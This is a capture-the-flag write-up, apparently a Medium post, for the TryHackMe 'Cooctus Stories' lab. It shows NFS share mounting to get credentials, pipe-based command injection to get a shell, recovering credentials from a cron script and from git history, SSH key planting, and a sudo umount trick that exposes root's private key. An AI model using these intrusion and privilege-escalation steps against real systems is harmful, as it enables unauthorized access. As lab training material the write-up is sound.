TryHackMe: Cooctus Stories Writeup

coocuts clan, thm


1. Scanning & Enumeration

We do the below scans in parallel.

1.1. Port Scanning

Not shown: 996 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34481/tcp6 mountd
| 100005 1,2,3 37413/udp6 mountd
| 100005 1,2,3 43347/udp mountd
| 100005 1,2,3 56545/tcp mountd
| 100021 1,3,4 34901/tcp6 nlockmgr
| 100021 1,3,4 46744/udp nlockmgr
| 100021 1,3,4 46749/tcp nlockmgr
| 100021 1,3,4 60804/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info gathered:

  • SSH on 22 open
  • HTTP on 8080 open
  • NFS on 2049 open

1.2. Web Enumeration

Doing a basic enumeration, we get the pages: /cat and /login.

1.3. Web Exploration

The home page:

cooctus clan homepage

The login page:

login page cooctus clan

I tried some basic SQLI attacks, but they did not work. Recall that we had the 2049 port open with NFS running. Let’s explore that first then.

1.4. NFS

Let’s see what all do we have:

└─$ showmount --exports
Export list for
/var/nfs/general *

Amazing! Looks like we can get something. Follow the steps to mount shares using NFS service:

  1. Go to /tmp on your machine. (Or wherever you want. I prefer /tmp.)
  2. Make a directory where the files of the other system would be mounted. Call it whatever you want.
  3. Mount the shares using sudo mount --type nfs. Make sure to sudo!
└─$ /tmp
└─$ mkdir general
└─$ sudo mount --type nfs general
[sudo] password for kali:

And we have successfully mounted the files shared using NFS. Let’s explore them.

└─$ cd general

└─$ ls
└─$ cat credentials.bak
{password was here *nom* *nom* sorry what?}

And we get the credentials for the login!

2. Foothold

2.1. Getting RCE

We finally get in. We see a page where we can put payload.

It took me a lot of experimentation and time to get RCE. Here’s what I figured.

  • Whatever you put in the payload gets echo-ed exactly as is, on the resultant page.
  • There may be php or python3 or whatever program running.
  • What if the input is not sanitised? How about using “;”?
  • Trying out wow”; echo “bruh” — does not work.
  • Checking for more, I get this page: OWASP Command Injection, how about “|” in the list?

I use reverse shells from Reverse Shell Generator.


  • I tried other revshells: bash and the mkfifo one. Did not work.
  • I tried using & and &&. Also did not work.

2.2. Exploring

I like to check a couple of things when I first get in any machine:

  • What all users exist?
  • All files having SUID bits set
  • crontab
  • Kernel version


$ cd /home
cd /home
$ ls
paradox szymex tux varg

SUID bits

$ bash -i
bash -i
paradox@cchq:/home$ find / -type f -perm -u=s 2> /dev/null
find / -type f -perm -u=s 2> /dev/null

One of them pops out!

paradox@cchq:/home$ ls -la /home/varg/
ls -la /home/varg/
-rwsrws--x 1 varg varg 2146 Feb 20 22:05 /home/varg/

Kernel Version

paradox@cchq:~$ uname -a
uname -a
Linux cchq 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Upto date.


paradox@cchq:~$ cat /etc/crontab  
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * szymex /home/szymex/

Last line looks very interesting.

2.3. Info Gathered

  • /home/szymex/ is running every minute, by the user szymex
  • /home/varg/ has SUID set Okay. We are ready for PrivEscs.

3. PrivEsc

3.1. szymex

Exploring inside szy, we get a file called note_to_para and

paradox@cchq:/home/szymex$ cat note_to_para
cat note_to_para
I'm testing my new Dr. Pepper Tracker script.
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.
You know me, so you know how to get access to the file.- Szymex

Looks like szy has some password there. Let’s open it up.

paradox@cchq:/home/szymex$ cat
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "{encoded_password_was_here_mmm}":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)

What’s happening here?

  • Every minute (for eternity) the above script is run
  • The script opens a file and checks if the thing put in can be encoded to be same.
  • We need to find the string that encodes as the above. Python3 scripting time!

Here’s what I came up with:

import string
def encode(pwd):
enc = ""
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
enc += chr(ord(i) + 13)
return enc
ans = ""
for c in "{yee_haww}":
save = None
for x in string.printable:
save = x
if encode(x) == c:
ans += save

After cracking this, maybe we can try directly sudo-ing into szymex?

paradox@cchq:~$ su szymex
su szymex
szymex@cchq:/home/paradox$ cd ~
cd ~


3.2. tux

I was stuck here for a bit, before I tried id.

szymex@cchq:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)

testers looks intersting. Let’s see what all do we have.

szymex@cchq:/home/varg$ find / -type f -group testers 2> /dev/null
find / -type f -group testers 2> /dev/null

Woah. That’s a lotta files. Going through them,

Note 3:

Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: {wow3}
Combine them all and visit the station.

Note 1:

#include <stdio.h>#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "{hidden}"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "{hidden}"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "{hidden}"
noot Noot noOt nooT NOot
noOT noOt nOoOoT nooT NooT
Nooot noOt nooT NooT
nOot nOOT NooT
NOOt nooot noOt nooT NOot
noOT noOt NOOOT nooOT nout nooT NooT
NOOt Nooot noOt nooT NOot
noOT noOt NOOT nooT NooT

Its C code, with a lot of #s. Compiling, we get:

└─$ ./a.out
What does the penguin say?

Not helpful. Although, looking at the source more closely, we can see some hex strings. They are in the line which I have translated below.

... printf *** **** *** ; ...

We get the first string!

Note 2:

szymex@cchq:/home/varg$ cat /media/tuxling_2/note
cat /media/tuxling_2/note
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.Good luck and keep on nooting!

Looks like we are looking at a pgp key.

szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)

I initially tried breaking it, but then I saw the /media/tuxling_2/private.key file. Import the key and we are done!

szymex@cchq:~$ file /media/tuxling_2/fragment.asc
file /media/tuxling_2/fragment.asc
/media/tuxling_2/fragment.asc: PGP message Public-Key Encrypted Session Key (old)
szymex@cchq:~$ gpg --import /media/tuxling_2/private.key
gpg --import /media/tuxling_2/private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
szymex@cchq:~$ gpg --decrypt /media/tuxling_2/fragment.asc
gpg --decrypt /media/tuxling_2/fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
The second key fragment is: {wow2}

We have all the fragments now! But now what? I tried breaking the cipher, but it didn’t work. What if it were a hash instead? Going to CrackStation we get the cracked hash!

3.3 varg

In this user I saw a .ssh folder. Good news! Here’s how to ssh into the tux user.

  1. Go to ~/.ssh on your machine
  2. Get your
  3. echo "{ here} > authorized_keys"
  4. SSH in!
└─$ ssh tux@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:7/RM1nMYqyZHC8ICXMcPUC3vIVlZuQab39ZsXs9Q+NI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation:
* Management:
* Support:
System information as of Wed Jun 23 06:55:44 UTC 2021 System load: 0.08 Processes: 118
Usage of /: 35.2% of 18.57GB Users logged in: 0
Memory usage: 66% IP address for eth0:
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
0 packages can be updated.
0 of these updates are security updates.
Last login: Mon Feb 22 18:43:28 2021

Exploring a bit, we see -

tux@cchq:/home/varg/cooctOS_src/games$ cat note
Hey Varg!
I've created a little game called Adventure.
If you like it, we could ship it with the OS when it's ready :)
- Tux

Game was nice (i got the easter egg too XD). But now what? There was a .git directory that I missed. Checking it out, we have:

tux@cchq:/home/varg/cooctOS_src$ git log
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for nowcommit 6919df5c171460507f69769bc20e19bd0838b74d
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:46:28 2021 +0000
Created git repo for CooctOS

Maybe something was hidden in the later commits? Let’s see the diff.

+print("CooctOS 13.3.7 LTS cookie tty1")
+uname = input("\ncookie login: ")
+pw = input("Password: ")
+for i in range(0,2):
+ if pw != "{woah_not_so_fast_copy_cat_man}":
+ pw = input("Password: ")
+ else:
+ if uname == "varg":
+ os.setuid(1002)
+ os.setgid(1002)
+ pty.spawn("/bin/rbash")
+ break
+ else:
+ print("Login Failed")
+ break

Ah yes! We get the creds.

tux@cchq:/home/varg/cooctOS_src$ su varg
varg@cchq:~/cooctOS_src$ cd ~

3.4. root

I checked the sudo permissions:

varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount

GTFOBins only mentioned that of /bin/mount and not /bin/umount. What next? Realise that we may have something intersting mounted :D

varg@cchq:~$ df -ha
/dev/mapper/ubuntu--vg-ubuntu--lv 19G 6.6G 12G 38% /opt/CooctFS

Here’s what happened:

  • df reports file system disk space usage
  • -h flag is human readable, because we did
  • -a flag which displays everything

Going in however, we see only:

varg@cchq:/dev/mapper$ cd /opt/CooctFS
varg@cchq:/opt/CooctFS$ ls
bin boot etc games lib run tmp var

Its the same as what we saw before. But hold up! Recall the sudo permissions to umount? Let’s do it!

varg@cchq:/opt/CooctFS$ sudo umount /opt/CooctFS
umount: /opt/CooctFS: target is busy.
varg@cchq:/opt/CooctFS$ cd /
varg@cchq:/$ sudo umount /opt/CooctFS
varg@cchq:/$ cd -
varg@cchq:/opt/CooctFS$ ls

Wait what happened here?

  • We were allowed to run sudo /bin/umount or just sudo umount without a password
  • The /opt/CooctFS/root/ folder existed in the /opt/CooctFS/ folder beforehand
  • We were not able to see this because there was the other stuff listed out, which in effect, hid the /root/ directory till we lifted the mount.

You can explore more on the linux mount what exactly was happening. Look for the bind keyword! Thanks to @crazyjointje for the explaination and andother fellow hacker for pointing out the bind functionality (#room-hints, TryHackMe Discord).

Nice. Let’s see the contents -

varg@cchq:/opt/CooctFS$ cd root/
varg@cchq:/opt/CooctFS/root$ ls -la
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root 9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root 43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
varg@cchq:/opt/CooctFS/root$ cat root.txt
No flag here. You aren't root yet.

But … we have the .ssh folder. Do you know dear reader, what that means? We can login as root! cat the id_rsa private key, copypaste it on your system

└─$ chmod 600 id_rsa
└─$ ssh -i id_rsa root@
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation:
* Management:
* Support:
System information as of Wed Jun 23 07:25:01 UTC 2021 System load: 0.08 Processes: 125
Usage of /: 35.2% of 18.57GB Users logged in: 1
Memory usage: 63% IP address for eth0:
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
0 packages can be updated.
0 of these updates are security updates.
Failed to connect to Check your Internet connection or proxy settings
Last login: Sat Feb 20 22:22:12 2021 from

And … we are done!

Originally published at on June 25, 2021.



Trying out some stuff.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store